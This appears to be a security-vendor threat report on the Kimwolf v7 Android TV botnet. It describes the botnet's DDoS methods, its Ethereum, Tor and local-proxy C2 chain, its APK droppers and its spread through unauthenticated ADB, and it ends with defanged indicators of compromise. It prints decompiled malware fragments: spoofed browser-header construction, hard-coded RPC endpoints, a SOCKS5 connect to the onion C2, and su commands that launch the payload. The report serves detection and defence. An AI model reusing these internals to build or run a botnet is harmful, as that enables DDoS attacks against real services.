

Kimwolf v7: An Evolution of the Kimwolf Botnet

 unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware

Chris Navarrete, Asher Davila, Doel Santos

August 11, 2026



Content Warning

We are providing a content warning because the following article contains usage of a racial slur by a threat actor, which Unit 42 does not condone in any instance. We have partially redacted the racial slur, but preserved some references to it in order to provide researchers with the ability to identify it and check IoCs as needed.

Executive Summary

We identified a new version (v7) of the Kimwolf Android/internet-of-things (IoT) botnet. This version upgrades its distributed denial-of-service (DDoS) attack capabilities and the resilience of its command-and-control (C2) infrastructure. Kimwolf primarily affects Android TV boxes and set-top boxes.

Kimwolf v7 adds an HTTP/2-based DDoS flood that constructs complete browser fingerprints. This makes attack traffic more difficult to distinguish from legitimate browsing.

The threat's binary includes five hard-coded public Ethereum-based endpoints for resolving Ethereum Name Service (ENS) domains. ENS is a blockchain-based naming system used to obtain C2 addresses.

Kimwolf also carries a hard-coded Tor .onion hidden service as a backup and a local proxy architecture for flexible routing between clearnet and Tor. The malware developers added this function to directly respond to C2 server takedown efforts in December 2025.

We discovered this variant on Feb. 3, 2026, through threat hunting that followed public disclosures by XLab, Synthient, Infoblox, Cloudflare and others.

Palo Alto Networks customers are better protected through the following products and services:

- [Advanced URL Filtering](#) and [Advanced DNS Security](#)
- [Advanced WildFire](#)
- [Device Security](#)

If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](#).

Related Unit 42 Topics [Malware](#), [Botnet](#), [DDoS](#)

Background

The Kimwolf botnet (also tracked as [AISURU](#)) has been active since August 2024. It initially targeted Linux IoT devices under the AISURU name. The botnet transitioned to Android TV boxes around August 2025.

This reflects two separate codebases under the same operators. AISURU covers the Linux IoT variants, and Kimwolf covers variants targeting Android.

Kimwolf spreads by misusing residential proxy services to reach unauthenticated Android Debug Bridge (ADB) instances on local networks. Some Android TV boxes ship with ADB enabled on port 5555. Once attackers tunnel through a proxy endpoint into the local network, they can install the malware without any authentication.

Kimwolf Sample Overview

The Kimwolf sample we analyzed as a baseline is a statically linked ARM Executable and Linkable Format (ELF) binary. The file was compiled with the Android Native Development Kit (NDK) using Clang and uses Bionic libc. It statically links BoringSSL for Transport Layer Security (TLS) operations and nghttp2 for HTTP/2 functionality.

The binary is stripped but retains some symbol information. It is not uncommon for malware authors to use racial slurs in their code. The Kimwolf malware family has historically included racial slurs. In our discussion of the v7 variant, we have partially redacted these slurs, but have left enough information present that defenders could identify the variant and check for IoCs.

Previous Kimwolf builds used the internal version strings such as `n[redacted]boxv4` and `n[redacted]boxv5`, establishing the naming pattern for the family. The version string `n[redacted]boxv7`, shown in Figure 1, identifies this sample as version 7. The binary creates a Unix domain socket `@n[redacted]boxv7` to ensure only one instance runs at a time.

```

000309E0 unk_309E0 DCB 1 ; DATA XREF: .text:00078F2C␣
000309E0 ; .text:00078F3C␣ ...
000309E1 DCB 0
000309E2 DCB 0
000309E3 DCB 0x6E ;
000309E4 DCB 0x69 ;
000309E5 DCB 0x67 ;
000309E6 DCB 0x67 ;
000309E7 DCB 0x61 ;
000309E8 DCB 0x62 ; b
000309E9 DCB 0x6F ; o
000309EA DCB 0x78 ; x
000309EB DCB 0x76 ; v
000309EC DCB 0x37 ; 7
000309ED DCB 0

```

Figure 1. The n[redacted]boxv7 version string.

On execution, the malware masks its process name as

netd service

to blend in with legitimate Android system processes.

We identified six ELF samples that we clustered together based on multiple indicators:

- They share an identical ELF section layout produced by a common Android NDK build environment, and the same hard-coded set of Ethereum remote procedure call (RPC) endpoints
- Overlapping C2 infrastructure within the same hosting provider
- Consistent process-name masquerading behavior

HTTP/2 Flood with Browser Fingerprint Spoofing

One of the most notable new capabilities in Kimwolf v7 is an HTTP/2 flood powered by the nhttp2 library. The function that performs the `attack_case17_http2_flood` constructs complete browser fingerprints. This makes the flood traffic difficult to distinguish from legitimate browser requests.

Figure 2 shows the header construction logic in the decompiled binary.

```
v49 = sub_14CE90(v75, 0, "\\Google Chrome\\";v=\\", 19);
v50 = *(double *)v49;
v77 = *(_DWORD *) (v49 + 8);
v76 = v50;
*( _DWORD *)v49 = 0;
*( _DWORD *) (v49 + 4) = 0;
*( _DWORD *) (v49 + 8) = 0;
v51 = sub_14CFE4((int *)&v76, (int)"\\", "\\Chromium\\";v=\\", 0x11u);
v52 = *(double *)v51;
v79 = *( _DWORD *) (v51 + 8);
v78 = v52;
*( _DWORD *)v51 = 0;
*( _DWORD *) (v51 + 4) = 0;
*( _DWORD *) (v51 + 8) = 0;
((void ( __fastcall *) (unsigned __int8 *, int))loc_14D674)(&v72, a2);
v53 = v74;
v54 = *( _DWORD *)&v73[3];
if ( ( v72 & 1) == 0 )
{
    v53 = v73;
    v54 = v72 >> 1;
}
v55 = sub_14CFE4((int *)&v78, (int)v53, v54);
v56 = *(double *)v55;
v81 = *( _DWORD *) (v55 + 8);
v80 = v56;
*( _DWORD *)v55 = 0;
*( _DWORD *) (v55 + 4) = 0;
*( _DWORD *) (v55 + 8) = 0;
v57 = (int *)sub_14CFE4((int *)&v80, (int)"\\", "\\Not A(Brand\\";v=\\24\\", 0x17u);
v58 = v57[1];
v59 = v57[2];
v60 = *v57;
*v57 = 0;
v57[1] = 0;
v57[2] = 0;
v84 = v60;
strcpy(v83, "sec-ch-ua");
v82[24] = 18;
v86 = v59;
v85 = v58;
sub_66FB0(&v87, "sec-ch-ua-mobile", "70");
sub_670C4(&v88, "sec-ch-ua-platform", "\\Windows\\");
sub_671D8(v89, "upgrade-insecure-requests", "1");
((void ( __fastcall *) (_BYTE *, int))loc_14D674)(v69, a2);
v61 = sub_14CE90(
    v69,
    0,
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
    88);
v62 = *(double *)v61;
v71 = *( _DWORD *) (v61 + 8);
v70 = v62;
*( _DWORD *)v61 = 0;
*( _DWORD *) (v61 + 4) = 0;
*( _DWORD *) (v61 + 8) = 0;
v63 = (int *)sub_14CFE4((int *)&v70, (int)".0.0.0 Safari/537.36", 0x14u);
v64 = v63[1];
v65 = v63[2];
v66 = *v63;
*v63 = 0;
v63[1] = 0;
v63[2] = 0;
v91 = v66;
strcpy(v90, "user-agent");
v89[24] = 20;
v93 = v65;
v92 = v64;
sub_672EC(
    &v94,
    "accept",
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7");
sub_67400(&v95, "x-requested-with", "XMLHttpRequest");
sub_67514(&v96, "sec-fetch-site", "none");
sub_67628(&v97, "sec-fetch-mode", "navigate");
sub_6773C(&v98, "sec-fetch-user", "1");
sub_67628(&v99, "sec-fetch-dest", "document");
```

Three-Tier C2 Infrastructure

Kimwolf v7 uses a layered C2 resolution system designed to survive the domain takedowns that disrupted the botnet twice in [December 2025](#).

This isn't the last time operation of this malware faced disruption. On March 19, 2026, the U.S. Justice Department and international partners [announced](#) a court-authorized operation that seized C2 infrastructure used by the Aisuru, KimWolf, JackSkid and Mossad botnets.

Ethereum Name Service Resolution

The binary contains five hard-coded public Ethereum RPC endpoints stored in plaintext, shown in Figure 3:

1. hxxps[:]//0xrpc[.]io/eth
2. hxxps[:]//eth.llamarpc[.]com
3. hxxps[:]//ethereum-rpc.publicnode[.]com
4. hxxps[:]//eth-protect.rpc.blxrbdn[.]com
5. hxxps[:]//eth.merkle[.]io

```
v0 = (char *)((int (__fastcall *)(int))operator_new)(24); // Allocate 24 bytes for first URL string buffer
strcpy(v0, "https://0xrpc.io/eth"); // Copy 'https://0xrpc.io/eth' (20 chars)
v6 = v0;
v5[1] = 20;
v5[0] = 25;
v1 = (char *)((int (__fastcall *)(int))operator_new)(32); // Allocate 32 bytes for second URL
v8 = 24;
strcpy(v1, "https://eth.llamarpc.com"); // Copy 'https://eth.llamarpc.com' (24 chars)
v7 = 33;
v9 = v1;
v2 = (char *)((int (__fastcall *)(int))operator_new)(40); // Allocate 40 bytes for third URL
strcpy(v2, "https://ethereum-rpc.publicnode.com"); // Copy 'https://ethereum-rpc.publicnode.com' (35 chars)
v11 = 35;
v10 = 41;
v12 = v2;
v3 = (char *)((int (__fastcall *)(int))operator_new)(40); // Allocate 40 bytes for fourth URL
v14 = 35;
strcpy(v3, "https://eth-protect.rpc.blxrbdn.com"); // Copy 'https://eth-protect.rpc.blxrbdn.com' (35 chars)
v13 = 41;
v15 = v3;
v18 = (char *)((int (__fastcall *)(int))operator_new)(24); // Allocate 24 bytes for fifth URL
strcpy(v18, "https://eth.merkle.io"); // Copy 'https://eth.merkle.io' (21 chars)
g_rpc_endpoints_begin = 0; // Initialize global RPC endpoints vector (begin=end=capacity=0)
g_rpc_endpoints_end = 0;
g_rpc_endpoints_capacity = 0;
```

Figure 3. Hard-coded public Ethereum RPC endpoints.

These endpoints are legitimate public Ethereum RPC services. The malware misuses them to query ENS domain records and resolve C2 addresses. Organizations should monitor for unusual Ethereum RPC traffic from IoT and Android devices rather than blocking these endpoints outright.

The malware shuffles these endpoints using a pseudo-random number generator (PRNG) before each resolution attempt. The five-way redundancy makes blocking ENS-based C2 resolution harder.

Operator RPC Facade

While the five public RPC endpoints in the baseline binary are third-party services, our infrastructure investigation identified a sixth endpoint that we assess with moderate confidence to be under the operator's control: eth[.]rpcuniverse[.]com.

Several properties distinguish it from the legitimate providers:

- The legitimate endpoints are established services with significant traffic and resolve to multiple anycast IP addresses across major cloud delivery network (CDN) and cloud providers
- They have apex domains registered between 2005 and 2022
- The rpcuniverse[.]com domain has no global traffic ranking
 - It resolves to a single IP address on a low-cost virtual private server (VPS) that was registered on Dec. 12, 2023
 - Its TLS certificate first appeared on the hosting IP address days later
 - Reverse passive DNS shows the IP address hosts only rpcuniverse[.]com subdomains with no other tenants
- Two Kimwolf samples hardcode eth[.]rpcuniverse[.]com as an additional RPC endpoint alongside the five legitimate providers
 - Both ELF and Android APK variants contact the hosting IP address directly
 - We did not observe this direct-to-IP address contact pattern with any of the legitimate RPC endpoints

We cannot confirm domain ownership. However, the dedicated single-tenant hosting, the timing of its registration relative to Kimwolf activity and its exclusive presence in Kimwolf binaries suggest it is an operator-controlled facade rather than a public service.

Tor Hidden Service Backup

When ENS resolution fails, the v7 binary falls back to a hard-coded v3 Tor .onion address (edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion). Figure 4 shows the hard-coded address in the binary.

```
if ( (_DWORD)v3 == 2 ) // State 2: Build and send SOCKS5 CONNECT request to .onion hidden service
{
    *(_BYTE *)((int (__fastcall *)(int))operator_new)(1) = 5; // Building SOCKS5 CONNECT request packet
    v10 = (__int16 *)((__int16 (__fastcall *)(int))operator_new)(2);
    v35 = v10;
    *v10 = 261; // SOCKS5 header: 0x05 0x01 = Version 5, CONNECT command
    v37 = (char *)(v10 + 1);
    operator_delete();
    v11 = ((int (__fastcall *)(int))operator_new)(4);
    v12 = *v10;
    *(_BYTE *)(v11 + 2) = 0;
    *(_WORD *)v11 = v12;
    v37 = (char *)(v11 + 4);
    v35 = (__int16 *)v11;
    operator_delete();
    v36 = (__int16 *)v11 + 4;
    *(_BYTE *)(v11 + 3) = 3; // Address type 0x03 = Domain name (not IP)
    v13 = ((int (__fastcall *)(int))operator_new)(8);
    *(_DWORD *)v13 = *(_DWORD *)v11;
    v37 = (char *)(v13 + 8);
    *(_BYTE *)(v13 + 4) = 62; // Domain length: 0x3E (62 bytes) = length of .onion address
    v35 = (__int16 *)v13;
    operator_delete();
    v36 = (__int16 *)v13 + 5;
    vector_char_insert_range(
        (int *)&v35,
        v13 + 5,
        (int)"edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd.onion",
        ""
    );
    *v36 = 62; // Insert .onion domain: edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd.onion
}
```

Figure 4. Hard-coded .onion address.

A function (tor_proxy_state_machine) manages the protocol states. To do this, it performs the following activities:

- Sending the greeting (0x05 0x01 0x00)
- Building a CONNECT request with domain type 0x03 and the 62-byte .onion address
- Waiting for the response and performing a TLS handshake over the tunnel

Figure 5 shows the greeting and TLS handshake states.

```
if ( !(v7 | (unsigned int)v35) )
{
    v39 = 0;
    v8 = *(_DWORD *)a1 + 30;
    v38 = 261;
    result = sendto_wrapper(v8, (int)&v38, 3, 0);
    *(_WORD *)a1 + 62 = 1;
    *(_DWORD *)a1 = 1;
    return result;
}
return connection_cleanup((int)a1, 5);
}
goto LABEL_39;
}
LABEL_36:
if ( (_DWORD)v3 == 3 )
{
    v32 = sub_99B10(*(_DWORD *)a1 + 2);
    if ( v32 == 1 )
    {
        *(_DWORD *)a1 = 4;
        c2_send_with_crc32((int *)a1, 0, 0, 0);
        result = 1;
    }
    else
    {
        v33 = sub_9A304(*(_DWORD *)a1 + 2, v32);
        if ( v33 == 3 )
        {
            result = 4;
        }
        else
        {
            if ( v33 != 2 )
            {
                return connection_cleanup((int)a1, 5);
            }
            result = 1;
        }
    }
}
```

Figure 5. Greetings.

Additionally, it uses a local proxy architecture. All C2 traffic routes through a local proxy at 127.0.0.1:23075 shown in Figure 6, regardless of whether it is destined for clearnet or Tor. This modular design allows the proxy component to be updated independently from the main bot binary.

```
v14 = ((int (__fastcall *)(const char *))inet_pton_wrapper)("127.0.0.1");
v15 = LOBYTE(v18);
*(_WORD *) (v1 + 78) = 23075;
*(_DWORD *) (v1 + 80) = v14;
if ( (v15 & 1) != 0 )
    operator_delete(v19, LODWORD(v18) & 0xFFFFFFFF);
sub_14E32C(&v21);
return 1;
```

Figure 6. Local proxy connection.

C2 Infrastructure Clustering

Analysis of Kimwolf v7 samples revealed C2 connections to several IP addresses, including:

- 212.193.31[.]119 and 212.193.31[.]122 on TCP port 13
- 212.193.31[.]92 and 212.193.31[.]158 on TCP port 443

None of these IP addresses had prior indicators of malicious activity or associations with public threat intelligence.

During infrastructure analysis, we observed that these hosts presented the same SSH host key. Pivoting on that shared key revealed 22 total IP addresses within the same range, presenting the identical key between Dec. 18, 2025, and Feb. 3, 2026. No hosts outside this range shared the key.

IP address 212.193.31[.]102 [was the first host observed with this key](#) on Dec. 18, 2025, and it was the seed from which the configuration propagated. The remaining 21 hosts appeared over the following six weeks, with the last addition on Jan. 31, 2026. All 22 hosts reside in AS202799, geolocated to Saint Petersburg, Russia.

High-Performance UDP Flood

Kimwolf implements a dedicated high-performance UDP flood function that uses a Xorshift256 PRNG seeded from /dev/urandom. It (prng_seed_from_urandom) reads 32 bytes (four 64-bit state words) to initialize the full 256-bit state. A SplitMix64 fallback initializer activates if /dev/urandom is unavailable.

The flood function accelerates IP/UDP checksum computation with ARM NEON single instruction, multiple data (SIMD) instructions. The vectorized checksum loop processes four 16-bit halfwords simultaneously using VLD1.16, VADDW.U16 and VADD.I32 instructions.

This optimization is tailored for the ARM processors found in Android TV boxes. It reduces per-packet checksum overhead to maximize throughput.

Figure 7 shows the NEON SIMD instructions in the disassembled binary.

```
000614E8 loc_614E8 ; CODE XREF: udp_flood_attack+C74+j
000614E8 ADD R0, R7, #6
000614EC MOV R2, #1
000614F0 MOV R10, R4
000614F4 VMOV.I32 Q8, #0 ; NEON SIMD checksum computation using vaddw_u16
000614F8 ADD R12, R2, R0, LSR#1
000614FC LDR R3, [SP, #0xB4+var_50]
00061500 BIC R4, R12, #3
00061504 ADD R1, R1, R4, LSL#1
00061508 SUB R2, LR, R4, LSL#1
0006150C MOV R0, R4
00061510
00061510 loc_61510 ; CODE XREF: udp_flood_attack+CD0+j
00061510 VLD1.16 {D18}, [R3]!
00061514 SUBS R0, R0, #4
00061518 VADDW.U16 Q8, Q8, D18
0006151C BNE loc_61510
00061520 VADD.I32 D16, D16, D17
00061524 CMP R12, R4
00061528 MOV R4, R10
0006152C VMOV.32 R0, D16[1]
00061530 VMOV.32 R3, D16[0]
00061534 ADD R0, R3, R0
00061538 BEQ loc_61558
0006153C
```

Figure 7. NEON SIMD instructions.

Complete Attack Method Inventory

The dispatch table supports 15 DDoS methods across Layers 3–7 of the Open Systems Interconnection (OSI) model. Cases 8, 11 and 13 are absent from the switch statement, suggesting they are either reserved for future use or were removed during consolidation from the 43 text-named methods in prior versions.

Table 1 lists all 15 attack methods.

Case number	Function	Description
0	attack_case0_tcp_socket_flood	TCP socket-based flood
1	attack_case1_udp_flood_v1	UDP flood variant 1
2	attack_case2_game_server_udp	Game server UDP flood (port 27015)

3	attack_case3_dns_flood	DNS query flood
4	attack_case4_udp_flood_v2	UDP flood variant 2
5	attack_case5_tcp_syn_flood	TCP SYN flood
6	attack_case6_tcp_ack_flood	TCP ACK flood
7	attack_case7_tcp_synack_flood	TCP SYN-ACK flood
9	attack_case9_udp_async_flood	Asynchronous UDP flood
10	attack_case10_tcp_rst_flood	TCP RST flood
12	udp_flood_attack	High-performance UDP flood (NEON SIMD)
14	attack_case14_icmp_flood	ICMP flood
15	attack_case15_tcp_connection_flood	epoll-based TCP connection flood
16	attack_case16_tls_https_flood	TLS/HTTPS flood (BoringSSL)
17	attack_case17_http2_flood	HTTP/2 flood with Chrome fingerprints (nghttp2)

Table 1. Kimwolf v7 DDoS attack methods.

What Changed From Prior Versions

In Kimwolf v7, malware authors consolidated the attack count to 15 numbered methods. They removed all scanning, exploitation and brute-force functionality. The new additions target:

- DDoS stealth through HTTP/2 with browser fingerprinting
- C2 resilience through ENS, Tor and the local proxy

The removal of the scanner and exploit modules suggests the operators have separated the propagation pipeline from the DDoS bot. External loaders now handle initial access while the Kimwolf binary handles attacks and proxy relay.

The [earliest dropped sample](#), targeting the x86 architecture with a [Dirty COW exploit](#), suggests the family evolved from traditional Linux exploitation toward the current ADB-based Android propagation model. The transition from libn[redacted]kernel.so to the less conspicuous libdevice.so filename in November 2025, followed by a revert in December, indicates active operational security adjustments.

Android APK Variants

Alongside the standalone ELF payloads, the Kimwolf operators distribute Android APK packages that bundle an ELF kernel payload inside a Java wrapper. We identified eight APK samples spanning October through December 2025, all sharing the component class systemservice0644.N[redacted]Kernel.

These APKs masquerade as a system service called SystemService. On execution, they probe for root access and execute the embedded ELF kernel with commands shown below in Figure 8.

```
% su /data/data/com.n2.systemservice0644/files/n[redacted] persisted exit

% su /data/app-lib/com.n2.systemservice06-1/libdevice.so android exit
```

Figure 8. Commands used to execute the embedded ELF kernel.

The [earliest build](#) (October 2025) used the com.Android prefix and bundled three kernel variants in a single APK. By late October, the package name shifted to com.n2.systemservice0644, and the kernel was consolidated to a single binary. In November, the kernel filename changed from libn[redacted]kernel.so to libdevice.so, then reverted in the December builds.

Three signing certificates appear across the cluster:

- The original Kimwolf APK certificate (C=CN, CN=a) used by the com.android.logcatd variants
- An Android Debug certificate used during development
- A self-signed certificate with subject C=XK, ST=lol, L=lol, O=lol, OU=lol, CN=lol (country code XK for Kosovo, all other fields set to lol) used by five of the eight N[redacted]Kernel APK files

Dropped ELF Kernel Payloads

The APK wrapper drops one of three ELF kernel payloads, depending on the build. These are listed in Table 2.

SHA256 Hash	Filename	Architecture
9470c68f9b6fe5f90d61891b95623afd7b4298815b0f95e25610e1c09008dc24	libn[redacted]kernel.so	ARM
8242443dfcec66e3fe04cbfa2fbd211ad34065ee07aa93813d792a437caab212	libdevice.so	ARM
421111a57b0a4224c052fa4108d90429d579974b5b5111ed2e58516ba09422ca	libn[redacted]kernel.so (v1)	x86

Table 2. Dropped ELF kernel payloads.

The [earliest sample](#) (first seen Sept. 2, 2025) is notable for two reasons:

- It targets x86 architecture rather than ARM
This indicates that the botnet originally targeted x86 Linux systems before pivoting to ARM-based IoT and Android devices
- It drops a file named libcow.so, and renames its process to inetd to blend in with Unix network services
The name libcow.so is likely a reference to the Dirty COW privilege escalation vulnerability ([CVE-2016-5195](#))

The [libdevice.so sample](#) renames its process to TVHelper, which explicitly targets Android TV set-top boxes by mimicking a legitimate TV helper service.

Neither the libn[redacted]kernel.so nor libdevice.so kernels embed the Ethereum RPC endpoints found in the standalone ELF builds. The C2 resolution layer resides in the outer APK wrapper or the standalone ELF binary, while the kernel handles lower-level bot operations.

Conclusion

Kimwolf v7 is a focused evolution of an already large-scale botnet. The HTTP/2 flood with Chrome browser fingerprinting complicates application-layer DDoS mitigation, as attack traffic now mirrors legitimate browser behavior at the protocol and header level.

The three-tier C2 system (Ethereum ENS, Tor .onion, local proxy) indicates that the operators are investing in infrastructure built to withstand takedown operations. Organizations should monitor for the following behavioral indicators of Kimwolf compromise on IoT and Android devices:

- Outbound HTTPS connections to public Ethereum RPC endpoints (e.g., 0xrpc[.]io) from devices that typically do not interact with blockchain services
- Tor circuit establishment or SOCKS5 proxy traffic from Android TV boxes or IoT devices
- Connections to port 23075 on localhost
- A process named netd_service running on consumer Android devices

Organizations should treat Android TV boxes as untrusted and segment them from enterprise networks. Disabling ADB or restricting it to USB-only access removes the primary propagation vector for this botnet.

Palo Alto Networks customers are better protected through the following products and services:

- The [Advanced WildFire](#) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research,
- [Advanced URL Filtering](#) and [Advanced DNS Security](#) identify known domains and URLs associated with this activity as malicious.
- [Device Security](#) is designed to proactively protect the entire device attack surface, from IT to IoT and OT, with a unified platform that helps deliver comprehensive visibility, actionable risk insights and adaptive security enforcement.

If you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](#) or call:

- North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
- UK: +44.20.3743.3660
- Europe and Middle East: +31.20.299.3130
- Asia: +65.6983.8730
- Japan: +81.50.1790.0200
- Australia: +61.2.4062.7950
- India: 000 800 050 45107
- South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](#).

Indicators of Compromise

SHA256 hash: 406647de09a0ffa279756b4ccb344b1b76a333320c5b50fd367901fa006cf0ff

MD5 hash: d759364844d78a728505fb0485c3adbc

File size: 1,720,108 bytes

File type: ELF 32-bit LSB executable, ARM, statically linked, stripped

File description: Kimwolf v7 bot payload (baseline analyzed sample); version string n[redacted]boxv7

SHA256 hash: 345222bca004595977f971d76900b0c65fd9bf9d91c50cd0c5bf5a93f1ad9e49

MD5 hash: 036bcb62be72c4663b9564955f93b05f

File size: 1,712,624 bytes

File type: ELF 32-bit LSB executable, ARM, statically linked, stripped

File description: Kimwolf v7 bot payload

SHA256 hash: 2ec2e85b0358e0c681cb5067489a9086ec97dbbf7e3c952dd9cd496b319d5af5

MD5 hash: 33faca1e0090f6b12eff703daf4606e4

File size: 1,720,108 bytes

File type: ELF 32-bit LSB executable, ARM, statically linked, stripped

File description: Kimwolf v7 bot payload; hard codes eth.rpcuniverse[.]com in the binary

SHA256 hash: 951c94809aa6c7ab587125f9d4df30fa6a49ee0cbba76a4b7ceedaaa0e5dcd36

File type: Android APK

Package name: com.android.logcatd

File type: ELF 32-bit LSB executable, ARM, statically linked, stripped

File description: Kimwolf Android variant; masquerades as system logcat daemon; includes TorService and BootReceiver persistence; contacts 23.94.221[.]104

SHA256 hash: f07821e313c16cbbd82def45094a22c8d474164051bdbc7648d6869e012014b4

File type: Android APK

Package name: com.android.logcatd

File type: ELF 32-bit LSB executable, ARM, statically linked, stripped

File description: Kimwolf Android variant; sibling of the above, same signing certificate and package; contacts 23.94.221[.]104

VHash: 76554ad09897ac723a850eaf8c525efa

Description: Structural hash shared by the three Kimwolf v7 ELF samples (5 total matches across VirusTotal)

APK signing certificate (SHA-1 thumbprint): 2a1d96f1b066877812587ac94f45f82dff5f5f9

Subject: C=CN, CN=a

Description: Self-signed certificate used to sign both Kimwolf Android samples

TLS certificate (SHA256 hash): f3e8a55a2a3ea7c7b6676e90f4f49a2c55b13065b68ee50c51cc35fe2b5c3237

Issuer: Let's Encrypt

Description: Certificate issued for eth.rpcuniverse[.]com, observed on 23.94.221[.]104 between Dec. 13, 2023, and March 12, 2024

Domain: rpcuniverse[.]com

Description: Multi-chain RPC service; apex registered Dec. 9, 2023 (Namecheap); resolves to 23.94.221[.]104; hard-coded subdomain present in Kimwolf sample

Domain: eth.rpcuniverse[.]com

Description: RPC subdomain hard-coded in Kimwolf sample 2ec2e85b...

Domain: avax.rpcuniverse[.]com

Description: RPC subdomain resolving to 23.94.221[.]104

IP address: 23.94.221[.]104

Description: Operator host (AS36352 RackNerd, Dallas); hosts rpcuniverse[.]com; contacted by Kimwolf ELF and APK samplesng

IP address:port: 212.193.31[.]158:443

Description: HTTPS C2 traffic (AS202799 SYSECT, Russia); offline after Jan. 31, 2026

IP address:port: 212.193.31[.]119:13

Description: C2 traffic

IP address:port: 212.193.31[.]122:13

Description: C2 traffic

IP address: 212.193.31[.]102

Description: C2 host (linked via shared SSH host key with .158)

IP address:port: 212.193.31[.]92:443

Description: HTTPS C2 traffic (AS202799 SYSECT, Russia)

Tor hidden service: edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion

Description: v7 hidden-service C2 fallback

Additional Resources

- [Kimwolf Botnet Exposed](#) – XLab
- [AISURU Botnet Technical Analysis](#) – XLab
- [A Broken System Fueling Botnets](#) – Synthient
- [Kimwolf Howls from Inside the Enterprise](#) – Infoblox
- [The Kimwolf Botnet is Stalking Your Local Network](#) – KrebsOnSecurity
- [Kimwolf Botnet Lurking in Corporate, Govt Networks](#) – KrebsOnSecurity
- [KIMWOLF V7 IoT BOTNET EVOLUTION](#) - Unit 42

Updated August 13 2026 at 2:00 p.m. PT to add information on the U.S. Justice Department and international partner operation seizing C2 domains used by KimWolf and related botnets.